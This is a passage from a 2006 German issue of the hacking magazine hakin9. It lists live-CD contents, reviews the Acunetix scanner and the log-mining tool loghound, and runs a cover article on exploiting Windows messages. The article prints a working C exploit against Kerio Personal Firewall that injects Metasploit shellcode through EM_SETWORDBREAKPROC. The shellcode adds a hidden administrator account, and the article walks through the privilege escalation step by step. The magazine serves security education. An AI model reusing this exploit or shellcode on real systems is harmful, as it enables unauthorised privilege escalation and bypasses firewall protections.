docs – HTML-Dokumentationen; hit – unsere Hits: Acunetix Web Vulnerability Scanner, Steganos Safe 6; art – zusätzliche Materialien zu den Artikeln: Listings, Skripte, notwendige Software; tut – Tutorials, auch SWF-Tutorials; add – Bücher und andere Dokumentationen im PDFFormat (u. a. Auditing your web site security, Survey on frequent pattern mining and The importance web app security whitepaper (Acunetix White Papers); Tools and techniques for Event Log Analysis part A; Iptables); rfc – aktuelle RFC-Dokumente; _arch/* – Archivmaterialien.

Wenn Sie die CD von hakin9.live aus browsen, finden Sie die genannten Verzeichnise unter /mnt/cdrom. Die Version 2.9.1-ng von h9l basiert auf Gentoo (Gentoo Base System Ausgabe 1.6.14) und den livecdtools. Tools, die es in Gentoo nicht gibt, werden aus Verzeichnissen unter /usr/local/portage installiert bzw. in /usr/local/bin kopiert. Die aktuelle h9l hat einen 2.6.15er Kernel mit den Korrekturen aus gentoo-sources-2.6.15-r1. Alle Pakete wurden aktualisiert und mit GCC Version 3.4.4 neu kompiliert. Wir haben neue Treiber und Tools für drahtlose Netzwerkkarten hinzugefügt. Die aktuelle Ausgabe von h9l enthält u.a.: • •

scapy – ein umfangreiches Python-Programm zum Manipulieren von Paketen vieler Internetprotokolle; sipsak – ein einfaches SIP-Tool zum Testen von Softund Hardware, die das SIP-Protokoll verstehen (Session Initiation Protocol);

Abbildung 1. Noch mehr nützliche Tools

10

hakin9 Nr. 3/2006



c07-sip – ein Java-Programm für SIP-Anfälligkeitstests.

Die h9l-CD enthält außerdem ein Installationsprogramm (eine modifizierte Version der Installationsskripte von Knoppix). Nach der Installation auf der Festplatte kann zusätzliche Software mit portage (über den Befehl emerge) installiert werden. Die grafische Umgebung von h9l ist Fluxbox mit dem Dateimanager ROX.

Tutorials und Dokumentationen

Die Dokumentationssammlung enthält u.a. die von unserer Redaktion erstellten Tutorials mit praktischen Übungen zu Artikeln wie: Ausnutzen von Fehlern in Windows Systemmessages, Umgehung von Netzwerkfirewalls sowie Tutorials für Artikel aus den vorigen h9-Ausgaben: Sniffing in Netzwerk und Wardriving. Voraussetzung für die Tutorials ist, dass Sie mit hakin9.live arbeiten – so vermeiden Sie Probleme mit unterschiedlichen Compilerversionen, Abweichungen in Konfigurationsdateien und Optionen, die zum Ausführen von Programmen in der jeweiligen Umgebung erforderlich sind. Die aktuelle Version von hakin9.live enthält neben den aktualisierten Tutorials und neuen E-Büchern auch 17 Tutorials im SWF-Format, erstellt von Gilles Fournil. Acunetix bietet hakin9-Lesern eine 30-tägige Vollversion des AcunetixWeb Vulnerability Scanner, die normalerweise 395 US-Dollar kostet. Um diese Version zu aktivieren, installieren Sie die Testversion aus der hakin9.live-CD und registrieren Sie sich unter http://www.acunetix.com/hakin9, um den Aktivierungscode für die Vollversion zu erhalten. Das Angebot gilt bis zum 31. Juli 2006. Steganos schenkt hakin9-Lesern eine Vollversion von Steganos Safe 6. Um sie zu aktivieren, installieren Sie die Testversion aus der hakin9.live -CD; die Aktivierungscodes erhalten Sie nach einer Registrierung unter http://www.steganos.com/magazine/hakin9/safe6. Das Angebot bleibt bis zum 31. Juli 2006 gültig. l

Abbildung 2. Neue attraktive Oberfläche

www.hakin9.org

Acunetix Web Vulnerability Scanner

Tools

Betriebssystem: Windows Lizenz: Kommerziell mit einer 30-Tage-Trialversion Bestimmung: Erkennung von Schwachstellen für Angriffe in Webapplikationen Homepage: http://www.acunetix.com Acunetix Web Vulnerability Scanner ist ein Tool zur Erkennung von Schwachstellen für Angriffe in Enterprise-Webapplikationen. Das Programm liest die ganze Verzeichnisstruktur der Applikation ein und versucht automatisch, typische Angriffe durchzuführen, die Fehler in der Konfiguration bzw. im Applikationscode ausnutzen.

Schnellstart: Nehmen wir an, dass wir für die Sicherheit einer großen Enterprise-Webapplikation verantwortlich sind. Diese Aufgabe benötigt eine Kontrolle einer riesigen Menge von Faktoren, die beste Lösung ist also, ein spezialisiertes Tool einzusetzen. Wir entscheiden uns, das professionelle kommerzielle Programm Acunetix Web Vulnerability Scanner auszuprobieren. Die Arbeit mit dem Scanner ist einfach – die Definition eines neuen Scannvorganges erfolgt mit Hilfe eines Assistenten (siehe Abbildung 1), der uns über fünf Konfigurationsetappen führt. Wir fangen mit der Bestimmung des Scannentyps an. Wir können die Überprüfung mehrerer Applikationen oder einer einzelnen Webseite machen – in diesem Fall werden wir eine Seite in PHP überprüfen. In der nächsten Etappe wählen wir die Technologie, die wir überprüfen möchten. Das Scannen ist sehr schnell, man kann also ruhig alle Optionen auswählen (ASP, PHP, Perl, OpenSSL und andere). Der nächste Bildschirm ermöglicht uns, einen der mehreren Scanprofile zu wählen und die Art der Verarbeitung der Verzeichnisstruktur der Webseite zu bestimmen. Im vierten Schritt der Konfiguration können wir Zugangsdaten zu nicht öffentlich zugänglichen Seiten angeben. Der letzte Bildschirm des Assistenten enthält Konfigurationsoptionen angepasster 404-Fehlerseiten, mit denen wir uns in diesem Fall nicht beschäftigen. Zum Schluss wird ein

Bildschirm angezeigt, der die gewählten Einstellungen zusammenfasst – wir überprüfen, ob alles stimmt und drücken die Schaltfläche Finish. Die Scanergebnisse zeigen, dass der Scanner die Struktur der Applikation genau analysiert. Uns interessieren aber vor allem Informationen, die die Sicherheit betreffen. Sie sind nach Kategorien leserlich gruppiert, wodurch wir sofort den allgemeinen Zustand der Schutzmaßnahmen sehen. Der Einfachheit halber beschäftigen wir uns hier nur mit den Ergebnissen der Analyse der Datei search.php. Der Acunetix-Scanner hat die Anfälligkeit des Skriptes auf einen XSS-Angriff (en. cross site scripting) getestet, indem er in einem POST-Request an die Seite die folgende Zeichenkette gesendet hat: searchFor=&goButton=go.

Ein nicht genug geschützes Skript soll den zwischen den Tags platzierten Code ausführen, der das Erscheinen eines Dialogfensters mit einer Meldung zur Folge hat. In diesem Fall beeinflusst der Versuch die Wirkung des Skriptes nicht, was man im Request-Fenster und in der HTTP-Antwort sehen kann. Auch die restlichen Skripte haben keine Anfälligkeit für einen solchen Angriff aufgewiesen, wir können also relativ ruhig schlafen – zumindest wenn es um solche Angriffe geht. Andere nüztliche Merkamle: Ein großer Vorteil der Scanergebnisse von Acunetix ist die Tatsache, dass wir nicht nur Informationen über Anfälligkeiten, sondern auch Empfehlungen bekommen, die ermöglichen, diese Anfälligkeiten zu eliminieren. Im Falle der oben beschriebenen Anfälligkeit, empfiehlt das Programm, alle Metazeichen von der Benutzereingabe auszufiltern. Der Scanner besitzt auch eine eigene Datenbank mit Informationen über einzelne Anfälligkeitsarten, die ermöglicht, detaillierte Daten über mögliche Angriffe zu bekommen. Carlos Garcia Prado

Achtung! Abbildung 1. Der Assistent ermöglicht, Scanparameter leicht zu bestimmen

12

hakin9 Nr. 3/2006

Die Firma Acunetix bietet Lesern von hakin9 eine monatliche Lizenz für Acunetix Web Vulnerability Scanner im Wert von $395. Es reicht, sich auf der Seite http://www.acunetix.com/ hakin9 bis zum 31. Juli 2006 zu registrieren.

www.hakin9.org

Tools

loghound Betriebssystem: Unix/Linux Lizenz: GNU GPL Anwendung: Aufsuchen häufig auftretender Muster in Logdateien Homepage: http://kodu.neti.ee/~risto/loghound/ LogHound ist ein Tool zum Aufsuchen von Mustern in Logdateien, das einen breitenorientierten Algorithmus zur Suche nach häufigen Ereigniskombinationen einsetzt.

Schnellstart: Nehmen wir mal an, ein IDS, beispielsweise Snort, arbeitet in unserem Netzwerk. Unsere Aufgabe ist es, die Snort-Alertdatei auf die Spuren üblicher Angriffsversuche hin zu analysieren. Dafür benötigen wir ein Tool, welches die Arbeit für uns verrichtet und die Logeinträge nach vorgegebenen Regeln ausgibt. Loghound, welches unter http://kodu.neti.ee/~risto/loghound/loghound-0.01.tar.gz zum Download bereitsteht, ist eben solch ein Tool. Nachdem wir die Datei herunterlagen haben, legen wir ein neues Verzeichnis an, in das wir die Datei dekomprimieren. Als Nächstes erzeugen wir das Programm mit dem Befehl: gcc -o loghound loghound.c. Um nach typischen Angriffsmustern zu suchen, starten wir loghound im Ereignissuchmodus (event mining mode). Dazu filtern wir Ereignisse dem Typ nach und sortieren sie wie im folgenden Beispiel:

Schritte an. Der für uns wichtigste Punkt, ist die Ausgabe der häufigen Ereigniskombinationen. Beispielsweise: (UDP_PORTSCAN) TCP_PORTSCAN Support: 1 WEB-PHP_REMOTE_INCLUDE_PATH Support: 2 UDP_PORTSCAN Support: 1

Aus der obigen Ausgabe ergibt sich, dass es zumindest einen TCP/UDP_PORTSCAN und zwei REMOTE_ INCLUDE_PATH Angriffe gab. Um loghounds Ausgabe kürzer zu machen (je nach der Aufzeichnungsschwelle der einzelnen Ereignisse), können wir loghound neu starten. Diesmal mit einer Aufzeichnungsschwelle von 2 (-s 2).

WEB-PHP_REMOTE_INCLUDE_PATH TCP_PORTSCAN

UDP_PORTSCAN

WEB-PHP_REMOTE_INCLUDE_PATH

WEB-PHP_REMOTE_INCLUDE_PATH

Support: 2

Es ist zu beachten, dass sich diese Ereignisgruppen jeweils auf eine einzige IP-Zieladresse beziehen sollten. Über die charakteristischen Merkmale des Ereignissuchmodus hinaus, sollten wir festlegen, dass jedes Wort (Element) in einer Zeile (Transaktion) einmalig sein soll. Nachdem wir die Ereignistypen aussortiert haben, können wir loghound wie folgt starten: ./loghound our _

Manchmal wollen wir nur nach einem konkreten Typ von Angriffen suchen – bzw. wie viele TCP_PORTSCANAngriffe überhaupt gegen unser System unternommen wurde. Hierfür können wir einen regulären Ausdruck verwenden, der die Ausgabe auf nur diese Attacken beschränkt: ./loghound our_alert.log –s 1 –g –f Portscan. Darüber hinaus kann loghound zum Aufsuchen häufiger Wortpositionspaare dienen. In diesem Fall verwenden wir es wie folgt: ./loghound our _ alert.log –s 1. Der Unterschied zu dem event mining mode ist, dass Sie Ihre Log-Einträge so lassen können wie sie sind, wobei hingegen jedes Wort (items) an einer bestimmten Position steht. Zum Bespiel: [122:1:0] (portscan) TCP Portscan

alert.log –s 1 –g.

Während des Miningprozesses zeigt loghound verschiedenartige Informationen über die ausgeführten

……… 192.168.0.1 -> 192.168.0.2

Andere nüztliche Merkmale: Durch das Design von loghound, das in einer speziellen Darstellung für ausdruckende Muster arbeitet. Ein neues Muster können erhalten, das Wort in den Klammern auslassen. Beispiel: (UDP _ PORTSCAN) TCP _ PORTSCAN. wobei TCP _ PORTSCAN bzw. TCP _ PORTSCAN,1 ein neues Muster darstellt. Nachteile: Es ist zu vermerken, dass loghound nicht für Produktionszwecke, sondern vielmehr als eine experimentelle Prototypsoftware gedacht ist. Stefan Lochbihler

Abbildung 1. Loghound-Ausgabe

www.hakin9.org

hakin9 Nr. 3/2006

13

Ausnutzen von Fehlern in Windows-Systemmessages Thema der Ausgabe Krzysztof Wilkos

Schwierigkeitsgrad

Messeges sind ein Element der grafischen Benutzerschnittstelle von Windows, das in der täglichen Arbeit kaum wahrgenommen wird, kann für das System jedoch eine ernsthafte Bedrohung darstellen kann. Entsprechend eingesetzt, können die WindowsMeldungen zum Injizieren von Code in andere Applikationen eingestezen werden und im somit die Berechtigungen eines Angreifers erweitern.

I

n Windows-Systemen ist die Steuerung der grafischen Schnittstelle und die Interaktion mit dem Benutzer an Ereignisse gebunden. Die Ereignisse bilden alle Tätigkeiten ab, die im System durch den Benutzer ausgeführt werden können, als auch interne Requests zwischen den verschiedenen Elementen des Systems. Die Messeges ermöglichen einen Austausch von Informationen über die Ereignisse, die im System stattgefunden haben. Den Ereignissen werden entsprechenden Messages zugeordnet, diese werden von den Fenstern erkannt und es findet eine entsprechende Reaktion statt. Als Messages kann sowohl eine Information über das Betätigen einer Maus- oder Tastaturtaste als auch ein Request zum Auffrischen eines Fensters dienen. Ein solches Modell führt die in einer Gui anfallenden Aufgaben gut aus und ist ziemlich zuverlässig. Leider ist es in Zeiten entstanden, in denen das Sicherheitsbewusstsein wenig ausgeprägt warb, was heutzutage ernsthafte Konsequenzen hat. Zu den zwei wichtigsten Nachteilen des Systems gehören: •

14



es gibt Messages, die Zeiger auf Strukturen und Funktionen übergeben.

Empfängt ein Fenster eine Messages, steht der Sender der Meldung nicht fest. Die Designer haben eine solche Möglichkeit gar nicht vorgesehen. Aus diesem Grund ist eine vom System gesendete Messeges genauso wichtig wie eine, die von einer Applikation stammt, die über

In diesem Artikel erfahren Sie... • •

Was Sie vorher wissen/können sollten... • •

keine Möglichkeit den Sender einer Messeges zu bestimmen,

hakin9 Nr. 3/2006

welche Gefahr in einer scheinbar unschädlichen Benutzerschnittstelle lauert; wie Code in einem anfälligen Programm ausgeführt werden kann.

www.hakin9.org

Sie sollen über Grundkenntnisse der Programmierung in WinAPI verfügen; Sie sollen wissen, wie man einen Debuggerwie OllyDbg verwendet.

Ausnutzen von Fehlern in Windows-Meldungen

die niedrigsten möglichen Berechtigungen verfügt. Dies spielt zwar im Falle einer Message, die über das Betätigen einer Taste informiert, keine Rolle. Die Lage wird aber ernst, wenn die Messages ein anderes Verhalten der Applikation erzwingt, indem sie deren Speicher oder die Adresse einer Funktion modifiziert. Bevor ich Ihnen zeige, über wie viel Spielraum ein potenzieller Angreifer verfügt, möchte ich zunächst eine Handvoll nützlicher Informationen liefern.

Senden einer Message

Abbildung 1. Programm Process Explorer mit dem markierten Prozess der Firewall

Generieren eines Shellcodes in Metasploit Framework

Da das Schreiben eines Shellcodes eine interessante, dennoch eine langweilige Tätigkeit ist, sind Werkzeuge entstanden, die diese Aufgabe automatisieren. In der Ausgabe 5/2004 des Magazins hakin9 wurde beschrieben, wie man mithilfe der Bibliothek InlineEgg einen Shellcode generieren kann. Wir werden aber ein Tool verwenden, das noch einfacher zu bedienen ist und zum Erstellen, Testen und Anwenden von Exploits dient — Metasploit Framework. Das Programm verfügt über eine umfangreiche Datenbank mit Shellcodes und ermöglicht dem Benutzer, einen eigenen Shellcode zu erstellen. Die Bedienung des Pakets ist denkbar einfach und findet in einem Web-Browser statt. Interessanterweise muss nicht das gesamte Paket installiert werden, da ein Internetzugang vollkommen ausreicht. Das Programm Metasploit Framework steht online unter folgenden Link yur Verfügung: http://metasploit.com:55555/PAYLOADS?FILTER=win32. Auf dieser Webseite finden Sie unter anderem auch eine Liste von Shellcodes für das Betriebssystem Windows. In diesem Artikel soll ein Shellcode erstellt werden, der einen neuen Benutzer mit Administratorrechten hinzufügt. Dazu setzen wir ein Shellcode namens Windows Execute Command ein, um den Befahl zum Anlegen eines neuen Esers auszuführen Der Befehl, der einen neuen Benutzer hinzufügt ist cmd.exe/c net user USERNAME PASSWORD/add && net localgroup administrators/add USERNAME , wobei USERNAME und PASSWORD Benutzername und Passwort bedeuten. Verwenden Sie eine andere Version des Systems als die englischen, sollen Sie statt administrators den Namen der Gruppe der Administratoren der jeweiligen Version eingeben (im Falle der deutschen Version handelt es sich um die Gruppe Administratoren). Um einen Shellcode zu erstellen, der einen Administrator mit dem Login hakin9 hinzufügt und http: //metasploit.com:55555/PAYLOADS?FILTER=win32 herstellt, wählen Sie den Shellcode namens Windows Command Execute aus. Tragen Sie auf der nächsten Seite im Feld mit dem Etikett CMD die Zeile cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 und im Feld EXITFUNC – process ein. Lassen Sie die anderen Felder unverändert. Abbildung 4. zeigt ein korrekt ausgefülltes Formular . Klicken Sie zum Schluss auf Generate Payload, Sie erhalten einen Shellcode. (siehe Listing 5.)

www.hakin9.org

Zum Senden einer Meldung dient die Funktion SendMessage(). Listing 1 zeigt ein Prototyp der Funktion. Der erste Parameter der Funktion ist ein Handle zum Fenster, das als Empfänger der Message fungiert. Der zweite Parameter ist der Typ der Message. Von ihm hängt das Verhalten der Funktion ab. Die nächsten zwei Parameter dienen zum Übermitteln zusätzlicher Informationen je nach Typ der Message. Der Rückgabewert der Funktion hängt ebenfalls vom Typ der Message ab. In Tabelle 1 Listing 1. Prototyp der Funktion SendMessage() LRESULT SendMessage( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );

Listing 2. Prototyp der Funktion FindWindow() HWND FindWindow(

LPCTSTR lpClassName, LPCTSTR lpWindowName );

Listing 3. Prototyp der Funktion FindWindowEx() HWND FindWindowEx(

HWND hwndParent, HWND hwndChildAfter, LPCTSTR lpszClass, LPCTSTR lpszWindow );

hakin9 Nr. 3/2006

15

Thema der Ausgabe

Tabelle 1. Ausgewählte Messagen Typ der Message

wParam

lParam

Rückgabewert

WM _ PASTE

0

0

kein

EM _ SETREADONLY

True zum Einschalten und False zum Ausschalten

0

0 wenn die Operation gescheitert ist

EM _ SETLIMITTEXT

maximalle Textlänge

0

kein

WM _ SETTEXT

0

Adresse des neuen Texts

True wenn erfolgreich

EM _ SETWORDBREAKPROC

0

Adresse der Funktion

kein

WM _ LBUTTONDBLCLK

beinhaltet Informationen zum Zustand der Maustasten, Tasten Strg und Umschalttasten

weniger bedeutendes Wort 0 wenn die Applikation die bedeutet die horizontale Meldung verarbeitet hat Position des Cursors, bedeutenderes Wort bedeutet die vertikale Position des Cursors

finden Sie ausgewählte Typen von Messagen, die im Hinblick auf das Thema des Artikels relevant sind.

Fensterhandle

Damit die Message gesendet werden kann, wird ein Handle zum Fenster benötigt, in dem die Message empfangen werden soll. In diesem Artikel werden zwei Funktionen verwendet, mit deren Hilfe Sie das Handle des Fensters bekommen können. Die erste Funktion ist FindWindow(). Ein

Prototyp dieser Funktion wurde in Listing 2 vorgestellt. Diese Funktion durchsucht alle Hauptfenster der laufenden Applikationen durch und gibt das Handle zum Fenster, das die in den Parametern definierten Anforderungen erfüllt, zurück. Der erste Parameter ist ein Zeiger auf den Namen der Fensterklasse, der zweite ein Zeiger auf den Titel des gesuchen Fensters. Man musst nicht immer beide Parameter nicht angeben. Übergibt man

Listing 4. Senden der Meldung — ein Beispiel #include #include int main() { HANDLE ParentWnd, ChildWnd; ParentWnd = FindWindow("Notepad", NULL); if(ParentWnd == NULL) { printf("You have to run Notepad first!\n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!\n"); system("PAUSE"); return 1; }

Ein einfaches Beispiel

Nachdem wir die benötigten Funktionen kennen gelernt haben, ist es an der Zeit, sich mit der praktischen Umsetzung der Theorie zu beschäftigen. Dazu betrachten wir zunächst ein einfaches Beispiel, um zu zeigen, wie das Senden einer Message in der Praxis aussieht. Schauen wir

SendMessage(ChildWnd, WM_PASTE, 0, 0); printf("Message sent!\n"); system("PAUSE"); }

16

hakin9 Nr. 3/2006

anstelle eines Parameters NULL , so sucht die Funktion nur anhand des anderen Parameters nach einem passenden Fenster. Eine Ergänzung der Funktion FindWindow() ist die Funktion FindWindowEx(). Schauen wir uns deren Prototyp an, der sich in Listing 3 befindet. Diese Funktion funktioniert ähnlich wie FindWindow(), erlaubt aber das Beziehen des Handles des Kindfenster – und genau das brauchen wir, um das Handle eines zu manipolierenden Controls in eienem Fenster. Die Fenster in der Applikation sind hierarchisch geordnet. Das Hauptfenster (engl. top-level) enthält ein Kindfenster, wobei dieses noch weitere Fenster enthalten kann usw. Der erste Parameter der Funktion FindWindowEx() ist das Handle des übergeordneten Fensters, unter dem sich Kindfenster befindet. Über den zweiten Parameter kann man ab einem bereits gefunden Kindfenster weitersuchen. Wir geben hier NULL an, um von ganz zu suchen. Die letzten zwei Parameter sind Pendants der Parameter FindWindow().

www.hakin9.org

Ausnutzen von Fehlern in Windows-Meldungen

uns die Message WM_PASTE an. Wie der Name erahnen lässt, erzwingt sie das Einfügen des Inhalts der Zwischenablage. Sie müssen noch eine Applikationen auswählen, mit deren Hilfe das Eingefügte angezeigt werden kann. Ich empfehle Ihnen den Systemeditor Notepad wegen seiner einfachen Struktur. Er besteht lediglich aus drei Fenstern, von denen zwei für uns relevant sind: das Hauptfenster mir dem Klassennamen Notepad und das Control Edit. Diese Angaben bekommen Sie mithilfe von OllyDgb, indem Sie die Position Windows im Menü View auswählen. Mit dem Wissen um die Namen der Klassen und die Verschachtelung der Fenster können Sie den Code für das Senden der Messages schreiben. Listing 4 zeigt den vollständigen Code. Wie Sie sehen, ist er ziemlich einfach. Am Anfang werden die benötigten Header und Variablen deklariert. Anschließend wird die Funktion FindWindow() aufgerufen, wobei als erster Parameter der Name der Klasse des Hauptfensters, der dem Debugger entnommen wurde, angegeben wird. Der zweite Parameter wird nicht angegeben, da er von der geöffneten Datei und der Sprachversion des Systems abhängt. Danach wird überprüft, ob die Funktion das entsprechende Fenster gefunden hat. Sollte das nicht der Fall sein, wird an den User eine entsprechende Nachricht geschickt. Im Falle der Funktion FindWindowEx() wird ähnlich vorgegangen. Der erste Parameter ist das vorher zurückgegeben Handle, der zweite Parameter NULL, da die Suche erst beginnt. Als dritter Parameter wird der Name des Controls angegeben, das die Message empfangen soll. Ist das Handle des Controls Edit bekannt, kann die Meldung gesendet werden. Zu diesem Zweck wird die Funktion SendMessage() mit dem Handle des Controls und dem Typ der Messages aufgerufen.Die hinteren beiden Parameter sind 0 da WM_PASTE keine weiteren Parameter benötigt (siehe Tabele 1). Die wiederholt eingesetzte Zeile system ("PAUSE");

Listing 5. Shellcode, der in der englischsprachigen Version von Windows einen neuen Administrator hinzufügt. /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x29\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xca\x2a\x8c\x83\xeb\xfc\xe2\xf4\xdb\x22\x6e\x8c\x27\xca\xa1\xc9" "\x1b\x41\x56\x89\x5f\xcb\xc5\x07\x68\xd2\xa1\xd3\x07\xcb\xc1\xc5" "\xac\xfe\xa1\x8d\xc9\xfb\xea\x15\x8b\x4e\xea\xf8\x20\x0b\xe0\x81" "\x26\x08\xc1\x78\x1c\x9e\x0e\x88\x52\x2f\xa1\xd3\x03\xcb\xc1\xea" "\xac\xc6\x61\x07\x78\xd6\x2b\x67\xac\xd6\xa1\x8d\xcc\x43\x76\xa8" "\x23\x09\x1b\x4c\x43\x41\x6a\xbc\xa2\x0a\x52\x80\xac\x8a\x26\x07" "\x57\xd6\x87\x07\x4f\xc2\xc1\x85\xac\x4a\x9a\x8c\x27\xca\xa1\xe4" "\x1b\x95\x1b\x7a\x47\x9c\xa3\x74\xa4\x0a\x51\xdc\x4f\xb4\xf2\x6e" "\x54\xa2\xb2\x72\xad\xc4\x7d\x73\xc0\xa9\x47\xe8\x09\xaf\x52\xe9" "\x07\xe5\x49\xac\x49\xaf\x5e\xac\x52\xb9\x4f\xfe\x07\xa2\x4b\xe7" "\x4e\xa4\x13\xac\x4f\xab\x41\xe5\x49\xf3\x0a\xa3\x46\xae\x4e\xac" "\x01\xec\x0a\xe2\x42\xbe\x0a\xe0\x48\xa9\x4b\xe0\x40\xb8\x45\xf9" "\x57\xea\x4b\xe8\x4a\xa3\x44\xe5\x54\xbe\x58\xed\x53\xa5\x58\xff" "\x07\xe5\x4b\xe8\x43\xea\x42\xed\x4c\xa3\x44\xb5\x27\xca\x2a\x8c";

Abbildung 2. Debuggerfenster mit der Liste aktiver Prozesse

Abbildung 3. Struktur der Fenster des angegriffenen Prozesses ist nicht zwingend notwendig, sie dient nur dazu, das programmfenster beim Programmende offen zu halten, wenn es nicht von der Konsole aus gestertet wurde. Was fehlt noch, um den Effekt des Programms bewundern zu könnem? Denken Sie nach! Natürlich muss auch etwas im CopyBuffer sein.

EM_SETWOR DBREAK PROC Jetz haben wir die Grundlagen kennen gelernt haben, und können uns mit dem Kern der Sache beschäftigen. Wie gesagt, besteht der Nach-

www.hakin9.org

teil des genannten Mechanismus in Windows darin, dass die Message Zeiger auf Funktionen als Zusatzparameter annehmen. Eine solche Meldung ist EM_SETWORDBREAKPROC. Mithilfe dieser Message kann ein Programmierer die DefaultFunktion zum Umbruch eines Textes im Control Edit bzw. RichEdit ändern. Diese Änderung kann nicht nur der Autor des Programms sondern auch jemand anders vornehmen. Und genau diese Tatsache werden wir ausnutzen. Aus der Tabelle 1 geht hervor, dass lParam die Adresse der neuen Funktion sein soll.

hakin9 Nr. 3/2006

17

Thema der Ausgabe

Listing 6. Arbeitsversion des Exploits #include #include /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "hakin9\x29\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xca\x2a\x8c\x83\xeb\xfc\xe2\xf4\xdb\x22\x6e\x8c\x27\xca\xa1\xc9" "\x1b\x41\x56\x89\x5f\xcb\xc5\x07\x68\xd2\xa1\xd3\x07\xcb\xc1\xc5" "\xac\xfe\xa1\x8d\xc9\xfb\xea\x15\x8b\x4e\xea\xf8\x20\x0b\xe0\x81" "\x26\x08\xc1\x78\x1c\x9e\x0e\x88\x52\x2f\xa1\xd3\x03\xcb\xc1\xea" "\xac\xc6\x61\x07\x78\xd6\x2b\x67\xac\xd6\xa1\x8d\xcc\x43\x76\xa8" "\x23\x09\x1b\x4c\x43\x41\x6a\xbc\xa2\x0a\x52\x80\xac\x8a\x26\x07" "\x57\xd6\x87\x07\x4f\xc2\xc1\x85\xac\x4a\x9a\x8c\x27\xca\xa1\xe4" "\x1b\x95\x1b\x7a\x47\x9c\xa3\x74\xa4\x0a\x51\xdc\x4f\xb4\xf2\x6e" "\x54\xa2\xb2\x72\xad\xc4\x7d\x73\xc0\xa9\x47\xe8\x09\xaf\x52\xe9" "\x07\xe5\x49\xac\x49\xaf\x5e\xac\x52\xb9\x4f\xfe\x07\xa2\x4b\xe7" "\x4e\xa4\x13\xac\x4f\xab\x41\xe5\x49\xf3\x0a\xa3\x46\xae\x4e\xac" "\x01\xec\x0a\xe2\x42\xbe\x0a\xe0\x48\xa9\x4b\xe0\x40\xb8\x45\xf9" "\x57\xea\x4b\xe8\x4a\xa3\x44\xe5\x54\xbe\x58\xed\x53\xa5\x58\xff" "\x07\xe5\x4b\xe8\x43\xea\x42\xed\x4c\xa3\x44\xb5\x27\xca\x2a\x8c"; int main() { HANDLE ParentWnd, ChildWnd; LONG scaddr;

ParentWnd = FindWindow("#32770", "Kerio Personal Firewall"); if(ParentWnd == NULL) { printf("Couldn't find top-level window!\n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!\n"); system("PAUSE"); return 1; } if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) { printf("Sending WM_SETREADONLY message failed!\n"); system("PAUSE"); return 1; } SendMessage(ChildWnd, EM_SETLIMITTEXT, sizeof(scode), 0); if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)scode)) { printf("Sending WM_SETTEXT message failed!\n"); system("PAUSE"); return 1; } printf("Write shellcode address from debbugger (ex. 0x0014E360):\n"); scanf("%x", &scaddr); SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, scaddr); SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a ); }

18

hakin9 Nr. 3/2006

www.hakin9.org

Selbstverständlich muss die Adresse der Fenktion im Parameter IParam Übergeben wird. Selbstverständlich muss die Adresse im Hinblick auf den Prozess, der über das gegebene Control verfügt, korrekt sein. Damit Ihr Code in einer anderen Applikation ausgeführt werden kann, muss er dem Programm des Opfers verfügbar gemacht werden. Es ist nicht schwierig, Daten im Speicher eines anderen Prozesses zu platzieren. Sie können den auszuführenden Code im Control Edit speichern und ihn anschließend mithilfe des Debuggers im Speicher finden.

Anfälliges Programm

Der Angriff erlaubt das Ausführen eines beliebigen Codes durch jede Applikation, die über das Control Edit verfügt. In Wirklichkeit sind die meisten modernen Programme für einen solchen Angriff anfällig - es hat aber nur dann einen Sinn, wenn die Applikationen über besondere Privilegien verfügen. Sonst erreichen wir gar nichts, da zum Durchführen des Angriffs sowieso das Starten einer eigenen Applikation im System benötigt wird. Zu den besonders privilegierten Applikationen gehören solche, die mit den Systemberechtigungen laufen, wie z.B. Antivirenprogramme und private Firewalls. Läuft im System eine solche Applikation, kann eine Person mit den Berechtigungen eines gewöhnlichen Benutzers diese auf Systemrechte erweitern. Ein anderes Beispiel sind Applikationen, für die Firewall-Regeln definiert wurden. Dadurch kann die Firewall ausgetrickst werden, was einem unberechtigten Zugang zum Netzwerk Tür und Tor öffnet.

Erweiterung eigener Berechtigungen im System

Angenommen, Sie haben Zugang zu einem Windows-System und möchten Administratorrechte erlangen. Im System läuft Kerio Personal Firewall, die zum Objekt des Angriffs werden soll. Zu diesem Zweck starten Sie den Prozessmanager, in dem die laufen-

Ausnutzen von Fehlern in Windows-Meldungen

